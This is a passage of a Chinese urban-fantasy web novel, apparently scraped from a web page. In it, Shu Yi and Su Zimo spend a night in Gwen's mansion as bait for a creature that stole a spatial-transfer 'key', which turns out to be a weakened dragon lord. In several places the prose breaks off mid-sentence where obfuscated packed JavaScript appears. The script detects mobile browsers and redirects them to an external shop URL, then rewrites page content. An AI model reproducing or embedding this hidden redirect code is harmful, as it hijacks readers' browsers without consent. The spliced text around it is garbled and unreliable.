他一改先前的作风,把舒懿服务得诚惶诚恐,甚至产生了此人不怀好意的错觉。她隐隐地感觉到,也许格温浮夸的部分只是他的表象。这个人似乎对苏子沫很感兴趣,可能他是故意和苏子沫这么说话,就为了引发他的情感波动?还是不希望谈话过于疏远…… 褐色的粉末落进折成漏斗状的滤纸,格温一边晃着手腕冲咖啡,一边垂着眼问: “对了,最近没怎么听到消息,苏璟先生近来可好?” 苏子沫漫不经心地回答: “家师还是老样子而已,况且我们也有好一段时间没见面了。神通广大的格温大人假如真想知道谁近来的消息,那还不简单吗?提到这个……您应该已经收到信了。” “是的,苏璟先生真是个厉害的人啊,我很想和他搞好关系呢。” “不劳您费心评价。虽然不知道信件的内容,但您还是尽快完成吧…那么,请问可以谈正事了吗?” 咖啡的香气弥漫开来,浓郁的可可,甚至夹杂了一丝果香,舒懿居然觉得有点饿了。 苏子沫真是一秒钟也不想待下去,虽然她挺喜欢这里的,还能蹭吃蹭喝省钱呢。她低头啜了一口杯子里的牛奶,暗暗地想。这人现在能勉强坐在这里,八成只是因为责任和想蹭杯咖啡,真是太损了…… 格温端着碟子轻轻放在苏子沫面前,微微冲他们颔首: “今天早上我检查空间转移装置时,那东西被什么动过了。” 啥玩意儿?空间转移装置?! 苏子沫低声对舒懿解释道:“这也是能力体外转化技术的具体应用之一。不过成功率实在太小,仅有千分之一不到,目前为止成功的案例也只有格温的这栋房子。他说被动过了,说明有什么不长眼的东西…进了他家。” “您继续。”苏子沫挑挑眉。 “嗯…更糟糕的是……‘钥匙’也丢了一把……” 苏子沫缓缓扶住额头,脸上露出了惨不忍睹的表情: “还有呢?” 连控制空间转移装置的枢纽“钥匙”也能给人偷走,这样得力的领导,苏子沫已经没有多余的什么话可以说了…… “它非常谨慎,在这里只袭击封闭房间里睡着的人。不清楚这是由于能够探测人类的脑电波,还是只是单纯地视觉观察啥的…我只好遣散了佣人,避免出现更严重的事故。并且,由于‘钥匙’的遗失,不得手它会立刻转移,非常难缠。” 舒懿举手发问: “那么,您打算怎么做?” “好问题。”格温打了个响指,乐呵呵地说,“因此,我想请苏先生和你的搭档留下就餐……以及就寝,好将其清除。” “……” 苏子沫眯起了眼睛。 早知道这坑爹领导又给他整了这种烂摊子,他第一时间就把旁边那个碍事的赶回去! “哇塞,真?” 舒懿两眼放光,一拍桌子以表她的激动心情,丝毫没意识到有什么不对: “好耶!有超极大的床吗?有各种只存在影视作品里头的那个——类似于空间转移装置之类的玩意儿吗?还还还,还有吃的,唔——” 苏子沫一脸糟心地看着她,从桌子上拎走一块蛋糕,硬塞进她嘴里。他强行阻止了舒懿的连珠炮,把她噎得两眼翻白,差点一口气没喘上来。 “最好别太大声。” 舒懿捂住嘴,好不容易把蛋糕咽下去: “对不起,我就是…有点激动……我我我这辈子还没住过这么大的房子呢……” 苏子沫瞥了她一眼,无端觉得这只没见过世面的乡巴佬有点可怜。于是他脸上神色缓和了一点,叹了口气: “格温的意思是说,由于那只不知名的生物掌握了钥匙,所以可以利用装置在这栋房子的每一个房间、以及地球上每一个设过的坐标点进行转移。但装置不是万能的,只有回到这栋房子才能进行二次转移,钥匙又不能距离坐标点太远……那只生物目前又只在晚上狩猎睡着的人。而且,在没有‘钥匙’的情况下,这栋房子里的房间会发生移动——” “哦,所以如果想要清除它的话,可以在这栋房子里用一个人作为诱饵,把它引出来,另外一个人再进行清理。” 舒懿的智商一秒换线,飞快地说。 “嗯哼,小姐真聪明。虽然钥匙丢了一把,不过我还是有办法固定坐标‘上锁’的,到时候劳烦苏先生给我发个信号咯。假如发生了什么意外事故,最好还是锁定要好些。不过要注意,坐标固定后,信号就发不出去了,保险起见,直到早晨才解开。” 格温耸耸肩。 “啊……我估计那家伙不会来找我,它的智能超乎想象,知道谁是房子的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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有关能力体外转化技术有必要深究,感觉是一个提升自我战力的切入点。 苏子沫微微挑了一下眉,看了她一眼,似乎有点出乎意料。但他什么也没说,只是把她放得太靠桌沿的热牛奶往里轻轻一推: “趁热喝吧,别噎着。过会儿吃饭了,注意一些,不要吃不下饭。” 舒懿脸颊鼓成了一只仓鼠,抬起头看了他一眼。她嘴里还含着点心,含含糊糊地对他说了声谢谢。 13. 格温 下午两点,三人在室内图书馆。 图书馆整体装修是种宁静、柔和的米白色,运用了大量的木制和金属结构,鲜艳装饰和墙面的挂画又增添了空间的层次感和活力感。建筑内部与家具采取一体化设计,大厅内,充满韵律的多根带型元素从天花板延续到地面,既是照明,又充当了书架。 虽然这不算具体的实验室,但格温喜欢在这里完成一些书面工作。作为非攻击型装备的前沿研究者,他不需要关注已经存在基础模型的武器研究,那些大多是由处理局内部的科研人员完成的。倒不如说,如果他从事的是后者的研究,也不可能还保持着相对自由的合作伙伴身份。 格温.冯.格里西斯,父母是法籍应用物理学家,本人却在B市本地长大。在读书时就相当离经叛道,尤其喜欢捣鼓和能力有关的运行原理,跑去参加十有九骗的地下能力者集会,甚至在博士毕业后从事了当时不被看好,甚至有“不可能成功的伪科学”之称的能力体外转化技术研究。 周围的人都感到不可思议,但格温对于技术前景却异常乐观,在人前总是一副乐呵呵的嬉皮笑脸模样。而这项技术在过去的十年内终于有了突破性进展,政府也意识到了其价值,开始加大投资力度,他也顺势获得了成功。 苏子沫在一旁看书,格温和舒懿正在交谈。他喜欢安静的环境,直接用能力隔了音。偶尔抬头,只能看见两人的表情。 舒懿好像是谈到了什么感兴趣的话题,笑得明亮又肆意,琥珀色的眼眸让人想起冬日壁炉里燃烧的火,橘红色照耀着结着冰花的寒窗。蓝眼睛的青年微眯着眼端详,觉得她很像一只猫。 早些年间,有一次苏子沫捡了一只猫回家。这只猫不知道是天生神经比腰粗还是懵懂无知,居然不怕他。 有时候苏子沫心情不太好,这只猫来黏他,难免态度比较差。可小家伙好像不知道害怕,就算每次都垂着脑袋缩起来,只要他回来还是照样抱住他修长的腿扒拉。 而这个人就像那只猫。 她有恐惧有气恼有失望,可这些东西一晃就过去了,剩下就该吃吃该睡睡该活蹦乱跳活蹦乱跳,照样顶着没心没肺的笑容对着他笑。 苏子沫无端有些烦躁,他轻轻地“啧”了一声,又重新低下头去。 手指摩挲着细腻的纸面,油墨的小字冷不丁撞入他的视野: 【一个哲学家对一个清道夫说:"我可怜你,你的工作又苦又脏。" 清道夫说:"谢谢你,先生。请告诉我,你做什么工作?" 哲学家回答说:"我研究人的心思、行为和愿望。" 清道夫一面扫街一面微笑说:"我也可怜你。" 】 青年似乎被这段文字逗乐了,支着脸轻笑一声。 他轻轻地说,脸上的笑容却像融化的冰水一般慢慢消失了: “我也可怜你……” …… “格温先生,您为什么要从事能力体外转化技术的研发呢?” 舒懿歪着头,认真地问。 “亲爱的小姐,我这样做是因为我能做好,而且有趣。既能认识好玩的人,又能赚钱,为什么不做?” “哦,我对这个技术很感兴趣!”她两指夹着原子笔,笔尖敲敲笔记本,“它的应用前景简直不可想象。我想知道,我要怎么才能拥有这种装备呢?” “您看,”格温笑道,“这个问题其实您的搭档回答要好些。假如是攻击性的装备,必须要经过处理局的批准才能持有,就和持枪证一样……假如不是攻击性装备,视情况而定,这方面您可以去查查细则。” “谢谢您,这太酷了!毕竟我也很想亲自去实战,和苏子沫一起都没有这种机会……” “唔……小姐,和苏子沫搭档,应该很轻松吧?既然只要看着就好,为什么您要做这种吃力不讨好的事?” 舒懿叹了口气,抱着胳膊翘起二郎腿: “格温先生,您是不是有些误解?听着,首先,他是他,我是我——搭档是协作关系,不是寄生关系,我的想法不会因为他要帮我做什么就做出让步。其二,苏子沫一个人也会碰到解决不了问题的时候,我可以帮他,这总比没有好。” “呀,您真是有魅力,还很有主见。”格温惊讶地赞叹,“不过我觉得您可能才是有误解的一方,因为苏子沫他从来没遇到过解决不了问题的时候,至少据我所知是这样。所以没准你的帮助有时还是他的负担……” “哈?您认真的??!没有夸张???” 舒懿狐疑地打量着对方。 格温垂下墨绿色的眼睛,把声音放得轻缓了些: “啊,对了,小姐可能是还不知道吧?苏子沫的能力应该比您想像的厉害。只不过他完全没想过要开发……” 舒懿下意识反驳: “不可能,苏子沫和我说过,他只在面对普通怪物还有那么点优势,再高就不行了。” 格温顿了一下,诡异地笑了。 “他这么和你说的?” 舒懿愣住了。她是迟钝,可也从格温的笑中品出了一点意味深长的唏嘘。 因此格温一笑,她就本能地回过味来,理智告诉她,苏子沫八成确实骗了自己。如果格温的话属实,他那种不希望任何人插手帮忙的态度就能得到合理的解释。可是…… 可是,他宁愿用谎言掩盖,也不愿透露自己能力真实强度的原因,究竟是什么? “假如他真这么厉害,为什么还是个执行员?” “您真敏锐,也很聪明,我喜欢和您说话。不过小姐,这些请您自己领悟吧,我相信您在和他相处的过程中,一定会慢慢感受到的。” “啊……你们这些人真是的,话从来都不说全!杨长官也是,大傻呗也是……”舒懿小声抱怨,手撑着下巴: “反正我就是不想依赖他。体贴是体贴,可那个人总是擅自做决定,还不听人说话——呸,我才不要当挂件!嗯,回去就要试着拿到技术使用许可证,谢谢您的指引。” 格温闻言冲她飞快地笑了一下,慢悠悠地说: “您瞧,苏先生对您这么好…一般不是都会觉得他人很好吗?您却不适应。所以我很想知道,您是怎么看待他的?” “我?我想想啊,那家伙……” 舒懿歪着头,仔细思考。 “第一眼确实会觉得这个人给人的感觉很舒服啊,毕竟他办事认真负责、惯于照顾人、好脾气、斯文、体贴细心,这是事实……简直就是个老好人,但是……” “但是?” 早在之前几次陪同苏子沫出任务时,舒懿就对自己缺乏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17385367|200222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 参与感很在意。他总是不经过她的同意,企图一个人干两个人的活……好在她坚持,苏子沫最后还是让步了。 虽然除了第一天,舒懿就再没感受到他那种对她不好好当摆件的不耐烦。可他有意无意,还是会全盘包揽工作中最危险、最苦最累的部分。苏子沫的让步只在表面……这家伙实际上控制欲旺盛,傲慢得很。和他共事看起来轻松,给人的感觉却像被掐着脖子塞进鸟笼一样不舒服。 然而,舒懿对于苏子沫这种行为,感觉却有些奇怪。就好像……这个人这样做,只是因为他没办法正确处理人和人之间的关系,始终在用一套畸形的逻辑对待自己和他人的缘故。 明明有同伴,却始终像是只有自己一个人。 “无论到哪里,他身上都带着一层薄薄的…膜?我是这样觉得的。虽然他人很周到礼貌,但和别人之间的距离好像总隔着一层什么东西……反正他是个很奇怪的人,很多东西就好像不是出于他自己的本意,而是一种……呃,强制性的、教条性质的规则去做的一样。我怀疑他有些观念问题。您怎么看?” 格温静静地端详着她的表情,突然眯起眼笑了。他笑得美丽又狡猾,有一些惊讶,更多的是某种深而不露的欣慰。 “哇塞,真神奇。” 舒懿无知无觉:“神奇什么?” “小姐,原来您是这样看待苏先生的……真是…神奇。难怪苏先生有些在意您。”格温的语气很笃定。 “不不不,我怀疑他对谁都没兴趣。” “哈哈哈,小姐您知道吗?我从没见过苏先生生气的样子,他是个很理性的人。就算别人站他面前抽他耳光破口大骂,他也会好言好语地和人沟通,脸上表情都不会有什么变化。” “…这个我知道,我见过……简直不像他自己的事,那语气官方的……” “但是今天我和他开玩笑,他有点生气,不是吗?” “……” 舒懿快尴尬死了,迅速支支吾吾地辩解: “呜……也可能不是因为我,您的玩笑有挺多地方都不太合适,换了我也会生气……总之,他根本没理由在意我,我和他连朋友都不是,才认识几天,只是认识而已……” “哈哈。您真是有趣的人呢,难怪。唔……既然这样,我就破例告诉您吧?唉,其实是不该告诉您的,不过我喜欢您。苏璟先生提过一嘴,苏子沫共情能力有限,哪怕对自己也是这样……不过他看起来非常正常,富有魅力和善解人意,对吧?因为他必须这样。” 舒懿倏地一惊,下意识转过头来,寻找那个人的身影。 苏子沫正在一旁看书,又戴上了他那副圆框眼镜。他嘴角冷峻,面无表情,很专注的样子。修长的手指翻着书页,发出沙沙的响声。 虽然苏子沫和人相处时总是在笑,其实在没有人看他的时候,是不怎么笑的。 舒懿悄悄地偷看那双冰蓝色的眼睛,很漂亮,冻结的蓝色犹如一整枚透亮的雪花。 可这个人的瞳孔总是涣散无神,以至于带着种说不出的空虚漠然,像个没有灵魂的人形容器。他真正放松下来,大概就是面无表情的吧?笑容于他而言,或许只是一种应激反应,一种对人类的伪装。 对方似乎是察觉到了她的目光,从书中抬头,耐心地对她报以微笑。 14. 说者无心 “小姐,小姐?” 舒懿回过神来,发现自己心里很不是滋味。 “啊……抱歉。” 格温冲她浅浅地微笑,竖起左手,拧转银色手表的表盘。 矿石般的银色荧光在表盘上浮起,他不知道拨动了什么机关。那荧光居然凝结成型,显示出怀表的形状,最后轻轻地落在手心。 “小姐,您是个很有意思的人。我希望能够和您成为朋友,这是见面礼,请收下。” “呀……” 舒懿被眼前的场景惊讶得说不出话来,她下意识摆手: “什么?!不,这太贵重了……相比之下,我对这个技术更感兴趣……!总,总之,我不能接受……” “您太拘谨了。这个怀表不过是我的联系方式,用法是顺时针逆时针各转一圈。此外,它还是一个小型的屏蔽器,能通过大部分的金属检测仪。哈哈,当然,您也可以用它来看时间。” 怀表不知是什么材质,居然有一些透明,细看却又是样式规整的黄铜外壳。细细的金链,外壳带着月相纹章,精致大气。 “至于这个技术,不过是空间转移的另一种方式罢了,并不是凭空变出。首先要将物品与它建立联系,而且体积不能过大,然后在脑内想象物品——就像这样。瞧,我很希望您能接受我的礼物,因为我觉得您能帮到我几个很重要的忙。” “帮忙啊……” 舒懿对这个怀表的屏蔽功能有点垂涎,犹豫了一下,问: “请问,我能帮到您什么?” “暂时保密。”格温神秘兮兮地冲她眨了一下眼。“虽然只是直觉,但我觉得您一定能帮我。” “……” 犹豫再三,她还是接过了怀表,揣进兜里。无论从哪种方向考虑,这份礼物接受能发挥出更大的价值……总比它在这里积灰好。 下午的时间很快过去,几人用过了晚饭。 格温款款而行,将二人带到了卧房前。他拧开门把手,微微躬身: “请。家居服和多余的被褥都放在衣柜里,没有人穿过,放心。这件卧房是最大的几间之一,都有配套的卫生间,也是为了方便战斗。晚安,希望两位今天过得愉快。” “只要您不在就能愉快。方便问一句,有供换洗的新衣物吗?” 苏子沫按下灯光开关,柔和的光线在房间中亮起。尽管已经有所准备,舒懿还是为房间的奢华所震惊。 房间的中央放着一张床腿是四个古希腊雕像的大床,大概能并排睡下四五个人。深红色的床幔轻柔地垂下,悬在距离羊毛地毯几厘米的地方。房间的一角有一张梳妆台和带书架的书桌,放着几本烫金字体的黑皮书。 “呜呜…真难过呀……料到苏先生会有这种要求,换洗衣物也一并放在衣柜里了。没人穿过,放着也是积灰,标签都没拆。” “嗯,不用归还?” “哈哈,当然不用,就当是见面礼好了。唔,您如果过意不去的话,那随时跳槽就好啦~” “您可以走了。” 格温看起来很想说几句骚话,但最后还是委委屈屈地憋住了,看起来有点郁闷。他只好微微一笑,灰溜溜离开了。 “咦?为什么要换衣服?” 舒懿感觉有点奇怪,忍不住问。 “你不会想知道的。” 苏子沫懒得多说,随口敷衍了一句。 他挽起袖子,从一边的大衣橱里翻出了两套叠得整整齐齐的浅蓝色家居服: “你先去洗个热水澡吧,睡觉舒服一些。” 舒懿很没形象地蹲下来盯地板,陶醉地摸了把羊毛地毯,觉得指缝间的细毛都是金钱的手感。听到苏子沫在说话,这才猛地跳起来,把外套脱下来,随手往衣架上一挂。 “坐标改变的规律是完全随机的吗?多长时间一次?假如房间一直在移动,建筑的结构呢?” 苏子沫沉默了一会儿,有点意外: “时间、地点全部随机——怎么想起问这个?” “防止意外情况发生。”舒懿理所当然地说。 “这个问题涉及到技术层面,我不好回答。格温一时半会儿也解释不清楚,你缓一缓,等了解多一些了再说。” 舒懿点点头,走进浴室。 …… 洗完澡之后,她从浴室里走出来。苏子沫坐在椅子上,似乎在看她的报告。看见她出来,他站起身,扔给她一条毛巾: “头发擦一下,记得吹。不然睡觉着凉,会头疼的。” 舒懿反条件一把抄住,惴惴地抬头,看了苏子沫一眼。 身形笔挺的青年低着头,额前的头发垂到了鼻梁上。灯光下,他眼角的弧度似乎也柔软了些,镜片一挡,垂下的目光温润极了。 仔细一看,这货其实真的是人模狗样……而且还这么体贴。有这张脸,真是何苦在处理局工作。 苏子沫察觉了她的目光,抬眼问:“怎么?” 舒懿胡乱吹了两下,不管不顾地把毛巾往头上一包,窜进了被子。她往里面钻了几下,露出一个头来。 舒懿盯着天花板沧桑的老脸,心不在焉地随口吐了句槽: “哦对了,苏某人啊,你为什么看起来那么孤独?像你这种人,别说朋友了,恋爱对象不应该一抓一大把吗……估计很多人都喜欢你这样的吧。” “因为我不是这样。” 她只是无心一提,玩笑话居多。却见苏子沫微微低下头,仍然在翻着报告的纸页,唯有嘴角勾起的弧度显得讥诮极了。 “嗯……?” 舒懿望着他,她知道这不是正常的反应…而那个青年也在看着自己。 琥珀色和冰蓝色的眼睛。 她咬着嘴唇,斟酌着词句: “你似乎对这种话感觉很不屑……很讽刺?你听我说,我不清楚很多事情,很多。所以只是一种感觉,假如冒犯到你,我很抱歉。我总觉得你怪怪的…你是不是不会和别人相处,所以总是照着一些惯常的规则去做?还有,你潜意识里要学会尊重对方,接受你自己,也接纳对方的选择……” “怎么,你要教我吗?” “…如果可以的话,我是这样希望的……否则,你根本没办法和人建立真正的亲密关系……” “我不需要你教我。”苏子沫说。 “为什么?可是,你生活在社会里,就总是要和别人相处,这样的话……” “嗯,这有什么用吗?亲密关系。” 这话听起来挑衅,他却说得一脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17385368|200222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好奇。 “我不需要你教我怎么和人相处。别担心,就算不按你说的来,我还是能和别人相处…而且只要先前没有偏见,人们都还挺吃这套的。你也承认,有很多人喜欢这样的,不是吗?” “……” 她真是没脾气了。不知道这家伙以前是怎么过来的,怎么会有这么扭曲的观念? 舒懿叹息:“算了,感觉跟你说不通……真正的友情或者亲密关系从来都不是用‘是否有用’来衡量的存在,你会这么说,也可能是因为没有感受过这些吧……就算要说什么用处,‘被理解和理解’就是心灵上最大的休息了。那谁,啊,毕达哥拉斯说过,‘不要吃你的心’。物的结合则助长它天然的作用,又可以削弱任何暴烈的外来的打击。那么,物体是这样,人心亦是如此。你不会觉得很孤独吗?都是在表演的话,那就不是两个人,而是一个人和一个人。” 一个人,和一个人。 青年缓缓地低下头,神色复杂地错开了视线。 那双和他对视的眼睛总是很亮,仿佛有火焰在其中燃烧。 经历得多些,自然听得出人们话语背后的隐秘。什么是虚情假意,什么是有所图,什么是想赖着他,什么是说教欲,什么是傲慢与偏见。可从她那里,他只听得出真。 真得他害怕。 苏子沫一只手遮住眼睛,畏惧灼伤般落寞一笑,引得舒懿惶急地瞪大了眼睛,几乎以为他要说些什么了。可没等她开口,就这几秒,苏子沫那脆弱得可怜的表达欲绷断了。 他漫不经心敷衍道:“罢了。” 舒懿有点失望。 “抱歉失态,让你看笑话了——我得看着,所以不能睡,你就先休息吧。至于我的事,没什么好说的。” 舒懿的心先被他的话泼了盆冷水,而后乱如麻地想: “我这一睡可是有怪物来袭击的,这我也能睡着?我有那么没心没肺?!” 等她五分钟没到抱着被子陶醉在梦乡里后,醒过来的她就深切地认识到,没错,她就是这么没心没肺…… 苏子沫把改好的报告放在一旁,看她睡着了,关了灯。 古董挂钟一格一格地走,指针指向古罗马数字: 9:43 他坐下来,摘下眼镜。 月光,拉了一半的窗帘,昏暗的房间。 别墅离城市很远,清亮的银色静悄悄洒落,昆虫在鸣叫。 苏子沫原本不知道放在哪儿的目光轻轻地收回来,薄薄地扫在已然睡熟的女孩身上。那眼神幽深内敛,郁沉沉的。他观察她,就像观察一个未知的谜题。 这种感觉,让他想起小时候,自己和老师放的孔明灯。 固态的酒精在燃烧,年幼的男孩手心贴着薄薄的纸灯罩,暖暖的。他几乎有些不想松手了……直到最后,美丽的灯火在天空中变成金黄的一个光点,明明灭灭。 虽然苏子沫清楚地知道,自己现在已经几乎没办法产生那种光亮的来源。只不过很少的时候,他可以感受到那种手心的暖意,温柔的火焰……这大概就是书上所描述的“温暖与善意”。他感受到的,他就模仿。 “你根本不明白。” 青年盯着自己的手,声音很低,低到了近乎耳语的程度。 15. 听者有意 苏子沫静静地坐着,什么都不做,像一座没有灵魂的雕像。 他真是个无趣的人,对什么都提不起兴趣。不玩游戏,没有爱好,看书也不过为了学习正确,没有生活上的交际圈,工作只是因为适合。无数个这样的夜里,他就这样静静地看着城市的灯火,就像看着离自己很远的另一个世界。 身边是整个世界的风。 青年似乎想起了什么,忽然低低地笑了,一只手捂住脸。这笑容压抑极了,半张脸淹没在浓郁的阴影中,竟无端显得有点可怕。 身旁的女孩没听见他的低笑,翻了个身嘀咕了句什么,又睡过去了。 他闭了闭眼睛,把自己的思绪强行收回来。苏子沫修长的手指轻轻敲着太阳穴,面无表情地等待着那只倒霉的生物出现。 时间一分一秒地流逝。 夜色沉得像碗黏稠的墨,泼将下来,压着青年的眼皮。他用手托着脸颊,一动不动,似乎是睡着了。 墙壁上的挂钟秒针精确而单调地走着时,平日机械的咔嚓声居然听起来有几分渗人的意味。 2:58 2:59 3:00———— 指针归零,青年猛地睁开了眼睛。 近乎透明的蓝色从他身上辐射出去。下一刻,房间的墙壁像水波一样荡漾开来,一双巨大的利爪从中探出,与护罩彼此相撞!怪物的长吟带来了狂烈的风啸,巨大的能量波动暴风般席卷,一些房间内未能固定的物品瞬间支离破碎。 这是什么?! 原本还在睡梦之中的舒懿被这动静惊醒了。 她眼睛忽地大睁,一溜烟窜起来,迅速裹紧了被子缩到床头。 舒懿只是睡眠质量好,但地震可还是能感受到的。面前巨龙的威压和地铁蚯蚓这类的低阶怪物完全无法比拟,即使有苏子沫在场,她仍然有种当时面对陆行鲨的错觉。此刻也做不了什么,只能把自己缩起来,假装是墙角一只不存在的蘑菇。 冰蓝色的瞳子遇上了金黄的,巨龙收回了利爪,体型收缩。它发出一声低沉的咆哮,金色竖瞳像猫一样缩窄。 能力者…? 意外的收获。在人类当中应该算是较为高位的那种,吃了这个人类,定能恢复不少。 “哦,我就说什么怪物能进到这里来…倒是没想到是您。” 苏子沫的眼睛却极静,慢条斯理地站起,随意地摆了摆手。蓝光瞬间收束,在她上方凝成一个半球形: “但您为什么需要‘躲藏’呢?愚妄之龙,奈特.费德里希,您给我的感觉有些太弱了。貌似并不在领主级,而是次城级……看来是发生了什么有趣的事。” 他特别在“躲藏”二字上咬了重音。 舒懿愣了愣,有这样一个防护,顿时安心了不少。而且……领主级?!她为苏子沫捏了把汗,却发现他从口袋里掏出发信器,但并不按下。 舒懿迷惑了。 他们不是和格温先生商量好作战计划了么?怎么苏子沫还不按下发信器给房间“上锁”,要是愚妄再次利用“钥匙”逃跑怎么办?她出声提醒,却发现似乎声音根本没办法传出护罩,只好作罢。 也许苏子沫有自己的考虑。 巨龙用数道嘴中吐出的能量利刃回答了他。 青年应对的方式不可思议:他抬手,两指准确夹住了第一道利刃的刃身。而后它就没能再切进一丝一毫,苏子沫皮肤表面泛起淡淡的蓝色光芒,然后把那道能量捏爆了。其他利刃则根本触碰不到青年,在空中就被半透明护罩弹开而消散,这让她松了口气,继续提心吊胆地观察着。 飞散的光点照亮了青年面无表情的脸,巨龙的身体伏低下来,进入了一级戒备状态。从它身为领主的那一刻起,它所遇见能做到这一点的人类,就只有…… 苏子沫伸出手,手心朝下,做了一个攥的动作。 澄静的蓝色越来越耀眼,由淡淡的浅蜕变为幽暗的深。他的能力直接作用于巨龙的全身,在那蓝色清晰的一瞬间,加在它身上的力被成千上百倍地放大。巨龙身体震颤起来,被那巨大的力量压得无法动弹,只能被迫匍匐下去。愚妄布满血丝的眼睛猛地抬起,死死地盯着青年。 苏子沫张开拳头,手指一并,右手挥下。原本分散在巨龙全身施压的念力一瞬间聚拢,对准了愚妄的利爪。他挥手的刹那,血雾从前肢截面的伤口处喷涌出来。 巨龙的利爪笔直地落在了地上,血流如注,浓稠的红色漫开一摊小小的湖泊。愚妄身体剧烈地抽搐了几下,呕出腥红的鲜血。它始终在调动体内的能量进行防御,但似乎失败了。 就算实力大损,凭借领主级的□□强度,它也不是普通能力者能够轻易杀死的,这家伙…… “所以您究竟在躲什么?” 苏子沫笑着,把凝聚的力量由龙的上肢慢慢移向它的喉间,一点点扎入龙鳞,直到渗出一滴血珠。他不急,恐惧远比死亡更折磨人。 巨龙在一片模糊中看清了他的眼睛,冰冷的蓝色,没有一丝温度。 这种目光…压迫感简直令它窒息。 而有一个人……另一个人类也拥有和这个青年一样的目光。那一幕如在眼前,笑意盎然的男人抬手挥下,仿佛恶魔。那一刻,它以为自己必死无疑。 巨龙喉咙里咯咯作响,巨大的身躯消失不见,取而代之的是一副人形的身体。 变成人形了?!居然有能变化成人形的怪物?!! 舒懿双手捂住嘴,世界观受到了极大的冲击。 那岂不是意味着也许有些怪物能够生活在人类中? “那是一个……” 它的声音太小,也太过气若游丝。苏子沫绕过地板上的血泊,在变成人形的巨龙面前蹲下来。他微微侧头,靠近奄奄一息的愚妄,去听它在说些什么。 “嗯?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17385369|200222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >上当了! 男人的手骤然伸长,鳞爪暴突,竟是要突袭他。 困兽犹有一斗,何况是领主级的怪物,金色瞳孔里狰狞的厉光暴闪。他不打算正对斩切的锋芒,苏子沫向后跃起,回退一步,堪堪避过鳞爪的爪尖。 可黑暗中金色的细光一闪而没,在视野中拖出一条极长的尾迹,像是一枚坠入湖面的针。 青年的瞳孔骤缩,他微一扭头,这一击瞄准的目标—— 是她。 舒懿心脏几乎停跳了。 她下意识地往后缩,后背抵住了床板,却也毫无办法。原来困兽的一击只是幌子,真正的杀机全在这不起眼的第二击中。平静无波,却瞬息生死。她只能希望这护罩能顶久一点,在这种水平的战斗中,她也只能起诱饵的作用。 金色细针扎入他的护罩,那微微发光的蓝色似乎有种惊人的阻力,刺入的针尖从接触的刹那就开始剥蚀,破碎,在剧烈的减速中解离。但它穿透力十分可怕,护罩恐怕就要被突破。苏子沫只得分神分解细针的能量,“啧”了一声。 然而耀眼的银光大放! 苏子沫再次猛地回头,被他避过的第一击和刺向她的第二击全是掩人耳目的圈套,愚妄真正的目的是逃跑! “苏子沫,快点上锁!” 舒懿急得大喊,她也看出愚妄将要空间转移了。 巨龙拼命地催动着“钥匙”,对高级的怪物来说,这并不算是致命伤,只要能留下一口气,它就能逃到地球的另一端去,离这些真正的怪物越远越好! 而他手上就是发信器,只要钥匙锁定,这里就是它生命的囚笼。 苏子沫的指腹轻轻擦过按钮,却没有按下,而是一扬手,抛出了它。 但它并没能落在地上…因为被另一双手接住了! 这双手的主人惊讶地直视他,头皮简直要炸起来,音量极弱地呼唤: “苏……” 为什么? 来不及了,巨龙的身影已经模糊,银光包裹着它的身体。 苏子沫垂下眼,笼住眼中的冰冷,转过头露出一个带点歉意的笑容。 “我离开之后,按下发信器。” 他伸出手,去抓那银光。蓝色的能量似乎与银色形成了某种共鸣,开始微微震动,最后连带着他的轮廓也模糊起来。 “苏子沫!你要干什么?!不是说——” 她仿佛已经预感到了什么,只是出于一种没由来的恐惧和无措,下意识地用语言来伸手……舒懿奋力地向前探,仿佛要去抓住一个悬崖边上向她投来最后一瞥的人。 “别担心,我不会有事。” 她向那个人抓去,最后手指无力地垂下,手心只剩下虚无的光点。舒懿呆呆的,胸口一片空虚,却不觉得悲痛。 只是那种孤独。 冷冰冰的,在黑暗中。 像是死亡……重得她快哭了。 16. 捉迷藏 舒懿看着掌心的发信器,慢慢地想了很多。 她想起小时候,爸爸妈妈遇到过一个难缠的家长。他们在校园门口被拦下,爸爸看情况不大对,立刻让妈妈带着她离开。 妈妈用双手紧紧地捂着她的耳朵,不让她扭头去看背后的场景。舒懿只能模模糊糊听到那个家长激动的喊叫和咒骂,她急了,使劲掰妈妈的手,要去帮爸爸。 